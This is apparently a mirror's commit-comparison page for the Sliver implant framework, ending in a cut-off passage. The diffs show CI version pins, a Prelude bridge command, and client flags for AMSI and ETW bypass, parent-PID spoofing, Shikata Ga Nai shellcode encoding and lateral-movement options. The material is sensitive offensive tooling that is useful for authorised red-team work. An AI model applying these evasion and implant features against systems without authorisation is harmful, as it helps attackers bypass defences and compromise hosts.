mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
135
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
fb5303ef04 | ||
|
|
d6a7c024f8 | ||
|
|
2adf0e8cb0 | ||
|
|
c2cacb5e1e | ||
|
|
b621107965 | ||
|
|
04f0d38bd2 | ||
|
|
8ef7f465a4 | ||
|
|
102ee0b533 | ||
|
|
c3cb978ee6 | ||
|
|
18ddfd2943 | ||
|
|
3b3a335c41 | ||
|
|
b64f00a66e | ||
|
|
6a44f6b435 | ||
|
|
e4db654d62 | ||
|
|
1a1924273b | ||
|
|
c20acb9657 | ||
|
|
3d89716007 | ||
|
|
3351ab0fee | ||
|
|
4c062445ad | ||
|
|
bdb6393842 | ||
|
|
20a4043d7c | ||
|
|
79d720d477 | ||
|
|
2ec234fd8c | ||
|
|
3ab978e754 | ||
|
|
0644a82a2c | ||
|
|
d6c41f1713 | ||
|
|
660af1fe60 | ||
|
|
d7e0293647 | ||
|
|
82d500ceec | ||
|
|
79f2d48fcd | ||
|
|
166c494894 | ||
|
|
01121922e9 | ||
|
|
c1a9702760 | ||
|
|
1be70b3053 | ||
|
|
f0405a3beb | ||
|
|
a3f5dcd54a | ||
|
|
68e9dcc61c | ||
|
|
f75d791d20 | ||
|
|
223500ed83 | ||
|
|
37ff504164 | ||
|
|
552093c7b6 | ||
|
|
7a143c58e6 | ||
|
|
e72cc7dcef | ||
|
|
709065a067 | ||
|
|
99c23dc226 | ||
|
|
8a278ce532 | ||
|
|
29755d7109 | ||
|
|
1d885c6083 | ||
|
|
f85d0d64d8 | ||
|
|
28e52e42b4 | ||
|
|
8bfba5cb50 | ||
|
|
6bb49e444b | ||
|
|
205737f768 | ||
|
|
f19c43f07b | ||
|
|
81b8002ac0 | ||
|
|
c5853a35fc | ||
|
|
98f55c8432 | ||
|
|
34f60a7b1a | ||
|
|
9987f377a2 | ||
|
|
9852f03ebb | ||
|
|
ce95f86f38 | ||
|
|
ae61aa032e | ||
|
|
cec867426f | ||
|
|
8479252975 | ||
|
|
4bfb38e52d | ||
|
|
aba4a140c3 | ||
|
|
df4245c69b | ||
|
|
44578c32ed | ||
|
|
07a53b8c75 | ||
|
|
e08f420606 | ||
|
|
b19cfba921 | ||
|
|
3b821d19bd | ||
|
|
4e8e254c0e | ||
|
|
d1cf55805a | ||
|
|
7d07f4c518 | ||
|
|
5d3cb883d9 | ||
|
|
29f816ef7e | ||
|
|
3ec4c5129c | ||
|
|
2840e6ed9a | ||
|
|
fee6ee8f2d | ||
|
|
a1d3cbd0da | ||
|
|
4a17490592 | ||
|
|
e1d7208164 | ||
|
|
7476a3dbc5 | ||
|
|
09a97fbbf4 | ||
|
|
8c8dd280fb | ||
|
|
d94c596a1e | ||
|
|
57fe465f10 | ||
|
|
f2da77100f | ||
|
|
7b5ff4790d | ||
|
|
5292f43cd2 | ||
|
|
c4420424af | ||
|
|
b0d6a9ba95 | ||
|
|
c46e193153 | ||
|
|
71dff0ff64 | ||
|
|
e1b1132667 | ||
|
|
ac262a3620 | ||
|
|
e6277fb55f | ||
|
|
f7e8e65126 | ||
|
|
afe6c88f83 | ||
|
|
361a4e5112 | ||
|
|
4e7093671c | ||
|
|
68b129acaa | ||
|
|
e9d0f23152 | ||
|
|
1099a4acb7 | ||
|
|
a51c318807 | ||
|
|
e7284b5880 | ||
|
|
0b9cf0f105 | ||
|
|
8350b441ca | ||
|
|
f5646d9975 | ||
|
|
ad312b517a | ||
|
|
253197f21a | ||
|
|
31e0ad2967 | ||
|
|
f83007fe19 | ||
|
|
e3e5016ed0 | ||
|
|
fb4e05617c | ||
|
|
5a781500ee | ||
|
|
fbef52a72d | ||
|
|
a018ba6a11 | ||
|
|
fb38c6e4bb | ||
|
|
c989e2970d | ||
|
|
d935bfb8b3 | ||
|
|
814670dc6d | ||
|
|
140c47e163 | ||
|
|
e28b062e6c | ||
|
|
be7b723c8a | ||
|
|
6be3ff8db2 | ||
|
|
20520755b2 | ||
|
|
0f7b6c0f35 | ||
|
|
0c7c2e0291 | ||
|
|
709a5fa453 | ||
|
|
5e4ec91914 | ||
|
|
a19ec2b348 | ||
|
|
d55c20d7a2 | ||
|
|
9118f7423f |
No files matched your search
@@ -0,0 +1,2 @@
|
||||
* @moloch--
|
||||
* @rkervella
|
||||
@@ -17,7 +17,7 @@ jobs:
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.18'
|
||||
go-version: '1.18.5'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -68,7 +68,7 @@ jobs:
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.18'
|
||||
go-version: '1.18.5'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
@@ -20,7 +20,7 @@ jobs:
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: "^1.18"
|
||||
go-version: "1.18.5"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v2
|
||||
|
||||
@@ -23,7 +23,7 @@ jobs:
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.18'
|
||||
go-version: '1.18.5'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -58,7 +58,7 @@ jobs:
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.18'
|
||||
go-version: '1.18.5'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.18.3
|
||||
FROM golang:1.18.5
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
|
||||
@@ -26,7 +26,6 @@ import (
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
@@ -70,7 +69,7 @@ func GetConfigs() map[string]*ClientConfig {
|
||||
|
||||
confs := map[string]*ClientConfig{}
|
||||
for _, confFile := range configFiles {
|
||||
confFilePath := path.Join(configDir, confFile.Name())
|
||||
confFilePath := filepath.Join(configDir, confFile.Name())
|
||||
log.Printf("Parsing config %s", confFilePath)
|
||||
|
||||
conf, err := ReadConfig(confFilePath)
|
||||
|
||||
@@ -35,6 +35,7 @@ type ClientSettings struct {
|
||||
BeaconAutoResults bool `json:"beacon_autoresults"`
|
||||
SmallTermWidth int `json:"small_term_width"`
|
||||
AlwaysOverflow bool `json:"always_overflow"`
|
||||
VimMode bool `json:"vim_mode"`
|
||||
}
|
||||
|
||||
// LoadSettings - Load the client settings from disk
|
||||
@@ -59,6 +60,7 @@ func defaultSettings() *ClientSettings {
|
||||
BeaconAutoResults: true,
|
||||
SmallTermWidth: 170,
|
||||
AlwaysOverflow: false,
|
||||
VimMode: false,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+21
-9
@@ -35,12 +35,33 @@ import (
|
||||
|
||||
const (
|
||||
logFileName = "sliver-client.log"
|
||||
|
||||
configFlagStr = "config"
|
||||
preludeServerFlagStr = "server"
|
||||
rangeFlagStr = "range"
|
||||
aesKeyFlagStr = "aes-key"
|
||||
)
|
||||
|
||||
var (
|
||||
sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
|
||||
)
|
||||
|
||||
func init() {
|
||||
|
||||
// Import
|
||||
rootCmd.AddCommand(cmdImport)
|
||||
|
||||
// Prelude
|
||||
cmdPrelude.Flags().StringP(configFlagStr, "c", "", "sliver client config file path")
|
||||
cmdPrelude.Flags().StringP(preludeServerFlagStr, "s", "", "prelude server connection string")
|
||||
cmdPrelude.Flags().StringP(rangeFlagStr, "r", "", "prelude range")
|
||||
cmdPrelude.Flags().StringP(aesKeyFlagStr, "a", "", "prelude range")
|
||||
rootCmd.AddCommand(cmdPrelude)
|
||||
|
||||
// Version
|
||||
rootCmd.AddCommand(cmdVersion)
|
||||
}
|
||||
|
||||
// Initialize logging
|
||||
func initLogging(appDir string) *os.File {
|
||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||
@@ -52,15 +73,6 @@ func initLogging(appDir string) *os.File {
|
||||
return logFile
|
||||
}
|
||||
|
||||
func init() {
|
||||
|
||||
// Import
|
||||
rootCmd.AddCommand(cmdImport)
|
||||
|
||||
// Version
|
||||
rootCmd.AddCommand(cmdVersion)
|
||||
}
|
||||
|
||||
var rootCmd = &cobra.Command{
|
||||
Use: "sliver-client",
|
||||
Short: "",
|
||||
|
||||
@@ -0,0 +1,131 @@
|
||||
package cli
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"sync"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
"github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var cmdPrelude = &cobra.Command{
|
||||
Use: "prelude",
|
||||
Short: "Start client as a Prelude bridge",
|
||||
Long: ``,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
confFilePath, err := cmd.Flags().GetString("config")
|
||||
if err != nil {
|
||||
log.Printf("[!] %s", err)
|
||||
fmt.Printf("%s\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
config, err := assets.ReadConfig(confFilePath)
|
||||
if err != nil {
|
||||
log.Printf("[!] Failed to read config file: %s", err)
|
||||
fmt.Printf("%s\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
preludeServer, err := cmd.Flags().GetString(preludeServerFlagStr)
|
||||
if err != nil {
|
||||
log.Printf("[!] %s", err)
|
||||
fmt.Printf("%s\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
agentRange, err := cmd.Flags().GetString(rangeFlagStr)
|
||||
if err != nil {
|
||||
log.Printf("[!] %s", err)
|
||||
fmt.Printf("%s\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
aesKey, err := cmd.Flags().GetString(aesKeyFlagStr)
|
||||
if err != nil {
|
||||
log.Printf("[!] %s", err)
|
||||
fmt.Printf("%s\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
fmt.Printf("Prelude relay mode, connecting to %s ... ", preludeServer)
|
||||
log.Printf("Prelude relay mode, connecting to %s ...", preludeServer)
|
||||
rpc, _, err := transport.MTLSConnect(config)
|
||||
if err != nil {
|
||||
log.Printf("[!] Failed to connect to server %s", err)
|
||||
fmt.Printf("%s\n", err)
|
||||
os.Exit(2)
|
||||
}
|
||||
fmt.Println("success!")
|
||||
log.Printf("Connection successful")
|
||||
preludeConfig := &prelude.OperatorConfig{
|
||||
Range: agentRange,
|
||||
OperatorURL: preludeServer,
|
||||
RPC: rpc,
|
||||
AESKey: aesKey,
|
||||
}
|
||||
implantMapper := prelude.InitImplantMapper(preludeConfig)
|
||||
sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
log.Printf("[!] Could not get session list: %s", err)
|
||||
os.Exit(3)
|
||||
}
|
||||
|
||||
if len(sessions.Sessions) > 0 {
|
||||
log.Printf("Adding existing sessions ...")
|
||||
for _, session := range sessions.Sessions {
|
||||
if !session.IsDead {
|
||||
err = implantMapper.AddImplant(session, nil)
|
||||
if err != nil {
|
||||
log.Printf("[!] Could not add session %s to implant mapper: %s", session.Name, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
log.Printf("Done !")
|
||||
}
|
||||
beacons, err := rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
log.Printf("[!] Could not get beacon list: %s", err)
|
||||
os.Exit(3)
|
||||
}
|
||||
if len(beacons.Beacons) > 0 {
|
||||
log.Printf("Adding existing beacons ...")
|
||||
|
||||
// I'm not sure this callback map is actually needed
|
||||
type BeaconTaskCallback func(*clientpb.BeaconTask)
|
||||
beaconTaskCallbacks := map[string]BeaconTaskCallback{}
|
||||
beaconTaskCallbacksMutex := &sync.Mutex{}
|
||||
|
||||
for _, beacon := range beacons.Beacons {
|
||||
err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
|
||||
beaconTaskCallbacksMutex.Lock()
|
||||
defer beaconTaskCallbacksMutex.Unlock()
|
||||
beaconTaskCallbacks[taskID] = cb
|
||||
})
|
||||
if err != nil {
|
||||
log.Printf("[!] Could not add beacon %s to implant mapper: %s", beacon.Name, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
}
|
||||
@@ -59,9 +59,9 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Alias '%s' already exists", manifest.Name)
|
||||
con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
|
||||
@@ -28,6 +28,7 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -177,8 +178,15 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.Bool("i", "in-process", false, "Run in the current sliver process")
|
||||
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
|
||||
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
|
||||
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
|
||||
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
|
||||
f.Uint("P", "ppid", 0, "parent process ID to use when creating the hosting process (Windows only)")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
@@ -269,7 +277,20 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
}
|
||||
|
||||
extArgs = strings.TrimSpace(extArgs)
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
|
||||
con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = aliasManifest.getDefaultProcess(goos)
|
||||
@@ -304,15 +325,21 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
InProcess: ctx.Flags.Bool("in-process"),
|
||||
Runtime: ctx.Flags.String("runtime"),
|
||||
AmsiBypass: ctx.Flags.Bool("amsi-bypass"),
|
||||
EtwBypass: ctx.Flags.Bool("etw-bypass"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -348,6 +375,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ProcessName: processName,
|
||||
EntryPoint: aliasManifest.Entrypoint,
|
||||
Kill: true,
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -384,6 +413,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ProcessName: processName,
|
||||
Kill: true,
|
||||
IsDLL: isDLL,
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -56,7 +56,7 @@ type ArmoryPackage struct {
|
||||
IsAlias bool `json:"-"`
|
||||
}
|
||||
|
||||
// AmoryBundle - A list of packages
|
||||
// ArmoryBundle - A list of packages
|
||||
type ArmoryBundle struct {
|
||||
Name string `json:"name"`
|
||||
Packages []string `json:"packages"`
|
||||
|
||||
@@ -69,6 +69,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/sessions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/command/shell"
|
||||
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
|
||||
"github.com/bishopfox/sliver/client/command/socks"
|
||||
"github.com/bishopfox/sliver/client/command/tasks"
|
||||
"github.com/bishopfox/sliver/client/command/update"
|
||||
@@ -478,7 +479,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
|
||||
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
|
||||
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
|
||||
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encyption iv")
|
||||
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
|
||||
f.String("C", "compress", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -985,6 +987,33 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
// [ Shellcode Encoders ] --------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ShikataGaNai,
|
||||
Help: "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ShikataGaNai}),
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("shellcode", "binary shellcode file path")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("s", "save", "", "save output to local file")
|
||||
|
||||
f.String("a", "arch", "amd64", "architecture of shellcode")
|
||||
f.Int("i", "iterations", 1, "number of iterations")
|
||||
f.String("b", "bad-chars", "", "hex encoded bad characters to avoid (e.g. 0001)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
sgn.ShikataGaNaiCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
// [ Exec ] --------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
@@ -1000,6 +1029,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("O", "stdout", "", "remote path to redirect STDOUT to")
|
||||
f.String("E", "stderr", "", "remote path to redirect STDERR to")
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
f.Uint("P", "ppid", 0, "parent process id (optional, Windows only)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1030,9 +1060,15 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.Bool("i", "in-process", false, "Run in the current sliver process")
|
||||
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
|
||||
f.Bool("s", "save", false, "save output to file")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
f.Uint("P", "ppid", 0, "parent process id (optional)")
|
||||
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
|
||||
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
|
||||
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1063,6 +1099,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
|
||||
f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
|
||||
f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
|
||||
f.Bool("S", "shikata-ga-nai", false, "encode shellcode using shikata ga nai prior to execution")
|
||||
f.String("A", "architecture", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
|
||||
f.Int("I", "iterations", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1076,10 +1115,13 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
|
||||
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
|
||||
f.Bool("w", "unicode", false, "Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)")
|
||||
f.Bool("s", "save", false, "save output to file")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
|
||||
f.Uint("P", "ppid", 0, "parent process id (optional)")
|
||||
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1108,6 +1150,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
|
||||
f.Uint("P", "ppid", 0, "parent process id (optional)")
|
||||
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("filepath", "path the DLL file")
|
||||
@@ -1196,6 +1240,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("d", "service-description", "Sliver implant", "description of the service")
|
||||
f.String("p", "profile", "", "profile to use for service binary")
|
||||
f.String("b", "binpath", "c:\\windows\\temp", "directory to which the executable will be uploaded")
|
||||
f.String("c", "custom-exe", "", "custom service executable to use instead of generating a new Sliver")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -1458,6 +1503,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
f.String("N", "name", "", "implant name")
|
||||
f.String("m", "mtls", "", "mtls connection strings")
|
||||
f.String("g", "wg", "", "wg connection strings")
|
||||
f.String("b", "http", "", "http(s) connection strings")
|
||||
@@ -1520,6 +1566,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
f.String("N", "name", "", "implant name")
|
||||
f.String("m", "mtls", "", "mtls connection strings")
|
||||
f.String("g", "wg", "", "wg connection strings")
|
||||
f.String("b", "http", "", "http(s) connection strings")
|
||||
@@ -1799,6 +1846,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("T", "type", "", "force a specific loot type (file/cred) if looting")
|
||||
f.String("F", "file-type", "", "force a specific file type (binary/text) if looting")
|
||||
f.String("n", "name", "", "name to assign the download if looting")
|
||||
f.Bool("r", "recurse", false, "recursively download all files in a directory")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("remote-path", "path to the file or directory to download")
|
||||
@@ -2483,7 +2531,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("b", "bind", "", "name of the named pipe to bind pivot listener")
|
||||
|
||||
f.Bool("a", "allow-all", false, "allow all users to connect")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -3242,7 +3290,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("connection-string", "connection string to the Operator Host")
|
||||
a.String("connection-string", "connection string to the Operator Host (e.g. 127.0.0.1:1234)")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
|
||||
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -57,19 +58,43 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
|
||||
assemblyArgs := ctx.Args.StringList("arguments")
|
||||
process := ctx.Flags.String("process")
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
|
||||
runtime := ctx.Flags.String("runtime")
|
||||
etwBypass := ctx.Flags.Bool("etw-bypass")
|
||||
amsiBypass := ctx.Flags.Bool("amsi-bypass")
|
||||
|
||||
assemblyArgsStr := strings.Join(assemblyArgs, " ")
|
||||
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
|
||||
if len(assemblyArgsStr) > 256 {
|
||||
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Executing assembly ...", ctrl)
|
||||
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
